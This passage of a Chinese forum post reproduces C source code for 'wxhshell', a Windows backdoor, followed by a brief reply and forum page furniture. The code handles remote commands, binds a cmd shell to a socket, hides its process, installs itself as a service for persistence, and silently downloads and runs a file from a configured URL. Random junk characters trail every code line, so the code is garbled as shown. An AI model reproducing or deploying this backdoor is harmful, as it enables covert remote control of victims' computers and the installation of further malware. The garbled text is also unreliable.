  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {C+blzh6  
  else Wtl/xA_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zj,1)ii  
  } LIzdP,^pc  
  else { xz!b@5DR'%  
nymF`0HYe1  
    switch(cmd[0]) { $7k"?M_  
  P`ZzrN  
  // 帮助 }J=>nL'B  
  case '?': { c8uFLM j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7 YS'Tf  
    break;  J+hiz3N  
  } 04;E^,V  
  // 安装 4yOYw*X  
  case 'i': { S$O+p&!X  
    if(Install()) l|WdJn o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/ D ~D~  
    else Ltv!;^Q5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3y#0Lb-y  
    break; T!![7Rs  
    } MR")  
  // 卸载 rw:z|-r  
  case 'r': { N{/):O  
    if(Uninstall()) zVEG ) Hr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T'VZ=l[  
    else &6 ymGo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n1yIQ8F  
    break; Dn x` !  
    } ?w^MnK0U)  
  // 显示 wxhshell 所在路径 c? Z M<Y"  
  case 'p': { A kMP)\Q  
    char svExeFile[MAX_PATH]; 6}z-X*  
    strcpy(svExeFile,"\n\r"); aCxF{>n  
      strcat(svExeFile,ExeFile); ,"6Bw|s  
        send(wsh,svExeFile,strlen(svExeFile),0); & OO0v*@{  
    break; g=G>4Ua3  
    } .D X  
  // 重启 m5c=h  
  case 'b': { OKW}8qM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z@za9U`6i  
    if(Boot(REBOOT)) nZtMF%j'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &A/k{(.XP  
    else { 4F[4H\>'  
    closesocket(wsh); 7'IcgTWDZy  
    ExitThread(0); =()Vrk|uK  
    } D*T*of G  
    break; Ms4~P6;%  
    } r6WSX;K  
  // 关机 Z;v5L/;  
  case 'd': { 'dXGd.V7u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K_SURTys  
    if(Boot(SHUTDOWN)) 3@}rO~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zD"n7;  
    else { rXh*nC  
    closesocket(wsh); r`dQ<U,  
    ExitThread(0); t,bQ@x{zVC  
    } >O;V[H2[  
    break; X }V}%  
    } gWK[%.Jnw  
  // 获取shell 8]@$7hy8  
  case 's': { G'#f*) f  
    CmdShell(wsh); 7\0}te  
    closesocket(wsh);  a,ff8Qm  
    ExitThread(0); {>v5~G  
    break; gT-"=AsxZQ  
  } \iP=V3  
  // 退出 NIo!WOi  
  case 'x': { Uf}u`"$F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0jJ:WPR  
    CloseIt(wsh); &~Hx!]uc  
    break; pie8 3Wy>  
    } Y5fz_ [("  
  // 离开  i)!2DXn  
  case 'q': { [_BQ%7D U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?zk#}Ex1  
    closesocket(wsh); A<s zY92&5  
    WSACleanup(); 0 s$;3qE  
    exit(1); <u_ vL WS  
    break; TSKT6_IJw  
        } d ug^oc1  
  } 5+DId7d'n  
  } 7 /6 Zp?  
zG* >g  
  // 提示信息 N^Hj%5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jk\z-hd  
} B?nw([4m  
  } Fp&tJ]=B.  
UdOO+Z_K%  
  return; >vPv 4e7&3  
} Ee3 -oHa  
,{C hHnJ%#  
// shell模块句柄 <B&vfKO^h  
int CmdShell(SOCKET sock) Nsf>b8O  
{ ~K/_51O'  
STARTUPINFO si; J?9n4 u  
ZeroMemory(&si,sizeof(si)); X,A]<$ACu%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VPr`[XPXb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 11iV{ h  
PROCESS_INFORMATION ProcessInfo; Y*QoD9<T?;  
char cmdline[]="cmd"; wgUgNwd1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e>T;'7HSS"  
  return 0; po!bRk[4  
} Zmc"  
3\ {?L  
// 自身启动模式 O=5q<7PM.  
int StartFromService(void) J kxsua  
{ .<zN/&MXf  
typedef struct z -c1,GOD  
{ C=Tq/L w  
  DWORD ExitStatus; {ePtZyo0  
  DWORD PebBaseAddress; vR7S !  
  DWORD AffinityMask; HcQ)XJPK  
  DWORD BasePriority; QJy1j~9x  
  ULONG UniqueProcessId; 2,6~;R  
  ULONG InheritedFromUniqueProcessId; 0N87G}Xu  
}   PROCESS_BASIC_INFORMATION; mUNAA[0 L  
XI+GWNAmJ  
PROCNTQSIP NtQueryInformationProcess; Y#t9DhzFWo  
X#>:9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C %i{{Y&l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; az1#:Go  
K (,MtY*  
  HANDLE             hProcess; _Ie?{5$ng`  
  PROCESS_BASIC_INFORMATION pbi; qi*Dd[OG  
&n'@L9v81  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IhHKRb[  
  if(NULL == hInst ) return 0; RT. %\)))  
Alk+MwjR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tR\cS )  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZmDM=qN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D (WdI  
9~J#> C0}  
  if (!NtQueryInformationProcess) return 0; N9#5 P!  
;4QE.&s`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `\r <3?  
  if(!hProcess) return 0; &`IJ55Z-)  
`x`zv1U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .lAPlJOO  
;efF]")  
  CloseHandle(hProcess); xpJ=yxO  
m al?3*x/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BJt]k7ku+  
if(hProcess==NULL) return 0; S6<#] 6 Z  
=h70!) Z5  
HMODULE hMod; DYF(O-hJK  
char procName[255]; QM'|k6  
unsigned long cbNeeded; \fsNI T/  
rvacCwI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h0 Xc=nj  
? q_%  
  CloseHandle(hProcess); A%cJ5dF8~  
UX'q64F!  
if(strstr(procName,"services")) return 1; // 以服务启动 ?_B'#,tI  
 Q@!XVQx4  
  return 0; // 注册表启动 I7\T :Q[  
} qe5;Pq !G  
_^g4/G#13c  
// 主模块 IF  cre  
int StartWxhshell(LPSTR lpCmdLine) xn>N/+,  
{ M.\XG}RR  
  SOCKET wsl; Y!`  pF  
BOOL val=TRUE; qu\U^F  
  int port=0; h$#PboLd  
  struct sockaddr_in door; 1En:QQ4/  
UIkO_/}  
  if(wscfg.ws_autoins) Install(); * a^wYWa  
<iBn-EG l>  
port=atoi(lpCmdLine); ^u2x26].  
/ */"gz%  
if(port<=0) port=wscfg.ws_port; #iQF)x| D  
'h@&rr@5  
  WSADATA data; oE_*hp+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v 8EI   
Nt;1&dwUb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (f2r4Io|}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ULd~  
  door.sin_family = AF_INET; (-],VB (+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IR{XL\WF  
  door.sin_port = htons(port); [ahwJF#r  
K_n GZ/`[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  9I:3  
closesocket(wsl); 3mHP=)  
return 1; lvRTy|%[  
} j]U~ZAn,K  
GO.7IL{ {  
  if(listen(wsl,2) == INVALID_SOCKET) { oWx^_wQ-=  
closesocket(wsl); +^jm_+  
return 1; J7sH]  
} e _(';Lk  
  Wxhshell(wsl); liqVfB%  
  WSACleanup(); PI@?I&Bo  
A<^X P-Nrp  
return 0; (! 8y~n 1  
cE>m/^SKr  
} d+vAm3.Dg  
xSm~V3b c  
// 以NT服务方式启动 &JYkh >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N{}8Zh4op  
{ (J?_~(,`"  
DWORD   status = 0; U%0|LQk5  
  DWORD   specificError = 0xfffffff; Xy./1`X  
i&p6UU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DZ1.Bm0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )G;H f?M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; As5-@l`@  
  serviceStatus.dwWin32ExitCode     = 0; E#3tkFF0Z[  
  serviceStatus.dwServiceSpecificExitCode = 0; 3}8L!2_p  
  serviceStatus.dwCheckPoint       = 0; B873UN  
  serviceStatus.dwWaitHint       = 0; @LFB}B  
t&p I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XwfR/4  
  if (hServiceStatusHandle==0) return; AyW=.  
|26[=_[q  
status = GetLastError(); h:|BQC  
  if (status!=NO_ERROR) :0ltq><?  
{ (sI`FW_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hT,rcIkg:  
    serviceStatus.dwCheckPoint       = 0; '? -N  
    serviceStatus.dwWaitHint       = 0; 5wdKu,nq  
    serviceStatus.dwWin32ExitCode     = status; P_b!^sq9  
    serviceStatus.dwServiceSpecificExitCode = specificError; .beqfcj"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TyA1Qk\  
    return; BR-wL3x b  
  } .S1MxZhbP  
ji\&?%(B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jamt@=  
  serviceStatus.dwCheckPoint       = 0; ho)JY $#6  
  serviceStatus.dwWaitHint       = 0; (74y2U6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V2xvuDHI  
} BPl% SL  
"LH!Trl@k  
// 处理NT服务事件,比如:启动、停止 jt(GXgm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >y,. `ECn  
{ ~g%Ht# <  
switch(fdwControl) I(WIT=Wi<  
{ Y@< j vH1  
case SERVICE_CONTROL_STOP: =}@1Z~  
  serviceStatus.dwWin32ExitCode = 0; %!AzFL J|Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vugb;5Vl  
  serviceStatus.dwCheckPoint   = 0; "'GhE+>Z  
  serviceStatus.dwWaitHint     = 0; G;J)[y  
  { rC]k'p2x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QhLgFu  
  } 19-V;F@;  
  return; m>F:dI  
case SERVICE_CONTROL_PAUSE: C@[U:\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *z#du*f[  
  break; )m[<lJ bw  
case SERVICE_CONTROL_CONTINUE: QoZZXCU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s&'FaqE  
  break; | lZJt  
case SERVICE_CONTROL_INTERROGATE: Fa\jVFIQ  
  break; ?Z4%u8Krvz  
}; Vy|4k2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rry] 6(  
} -rjQ^ze  
AlG5n'  
// 标准应用程序主函数 i~AReJxt7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gg]Jp:GF  
{ lzz;L z  
)v11j.D  
// 获取操作系统版本 ms!|a_H7 r  
OsIsNt=GetOsVer(); ywkRH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m2YsE  j7  
U* c'xoP  
  // 从命令行安装 Fq!_VF^r  
  if(strpbrk(lpCmdLine,"iI")) Install(); C(h Td%  
CEBG9[|  
  // 下载执行文件 `m8WLj  
if(wscfg.ws_downexe) { Pa+_{9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `u R`O9)e  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1c429&-  
} WRAL/  
$duT'G, -  
if(!OsIsNt) { lN8l71N^  
// 如果时win9x,隐藏进程并且设置为注册表启动 1 ?Zw  
HideProc(); kM1N4N7  
StartWxhshell(lpCmdLine); Cz$q"U  
} `W" ;4A  
else O9o]4;  
  if(StartFromService())  UBj&T^j  
  // 以服务方式启动 #d*gWwnx"  
  StartServiceCtrlDispatcher(DispatchTable); vceD/N8  
else u<N`;s  
  // 普通方式启动 -meY[!"X  
  StartWxhshell(lpCmdLine); lKQevoy'  
c#`IF6qj  
return 0; dFhyT.Y?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八